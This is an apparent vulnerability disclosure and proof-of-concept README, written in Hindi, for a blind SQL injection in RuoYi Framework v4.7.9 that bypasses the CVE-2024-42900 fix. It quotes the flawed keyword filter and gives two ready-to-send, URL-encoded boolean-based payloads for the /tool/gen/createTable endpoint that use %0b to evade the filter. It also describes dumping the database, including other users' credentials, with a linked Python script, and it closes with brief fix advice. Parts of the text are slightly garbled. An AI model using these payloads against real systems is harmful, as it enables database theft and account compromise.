
# RuoYi v4.7.9 के लिए ब्लाइंड SQL इंजेक्शन प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2024-42900 फ़िल्टर को बायपास करते हुए, प्रमाणित बूलियन-आधारित इंजेक्शन के माध्यम से डेटाबेस डंप करने के लिए RuoYi v4.7.9 का ब्लाइंड SQL इंजेक्शन प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट।
मैंने RuoYi Framework v4.7.9 की createTable सुविधा में एक ब्लाइंड SQL इंजेक्शन भेद्यता खोजी है। यह एक प्रमाणित व्यवस्थापक को sql पैरामीटर के माध्यम से मनमाने SQL कमांड निष्पादित करने की अनुमति देता है। यह CVE-2024-42900 फिक्स का बाईपास है क्योंकि filterKeyword विधि में SQL इंजेक्शन फ़िल्टर अपर्याप्त है, रिक्त स्थानों के वैकल्पिक वर्ण के रूप में %0b का उपयोग करके रेगेक्स को बाईपास किया जा सकता है।
उत्पाद: RuoYi Framework
संस्करण: ≤ 4.7.9
लिंक: [Ruoyi]
यह भेद्यता निम्नानुसार https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java फ़ाइल में पाई गई थी। एप्लिकेशन SQL इंजेक्शन हमलों को फ़िल्टर करने के लिए ब्लैकलिस्ट कीवर्ड पर निर्भर करता है, यह दृष्टिकोण बाईपास के लिए प्रवण है। इस मामले में, CVE-2024-42900 को ठीक करने के लिए, स्ट्रिंग को ब्लैकलिस्ट में जोड़ा गया था, लेकिन एप्लिकेशन अभी भी वर्ण को ब्लॉक नहीं करता है, इसलिए मैं के साथ SQL इंजेक्शन ट्रिगर करने के लिए इसका उपयोग कर सकता हूँ।
/*%0bselect%0bpublic class SqlUtil
{
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
// Note the space after 'select '
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
}
रेगेक्स select select (जिसके बाद एक स्थान होता है) से मेल खाता है। यह select%0b से मेल नहीं खाता, जो SQL में एक मान्य विभाजक है।
/tool/gen/createTable)
sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
चेतावनी: प्रत्येक सफल क्वेरी के बाद CREATE क्वेरी में tablename बदलना आवश्यक है।
3. बूलियन-आधारित SQL इंजेक्शन के साथ, इस रेपो में मौजूद Python [poc] का उपयोग करके डेटा एक्सफ़िल्ट्रेट किया जा सकता है
उपयोग

DB संस्करण एक्सफ़िल्ट्रेट करने वाला poc

व्यवस्थापकीय विशेषाधिकार वाला हमलावर पूरे डेटाबेस को डंप कर सकता है, जिसमें अन्य उपयोगकर्ताओं के क्रेडेंशियल और सिस्टम कॉन्फ़िगरेशन शामिल हैं।
%0b वर्ण को फ़िल्टर करें।select के बजाय कीवर्ड select को फ़िल्टर करें (अंतिम स्थान हटाएँ)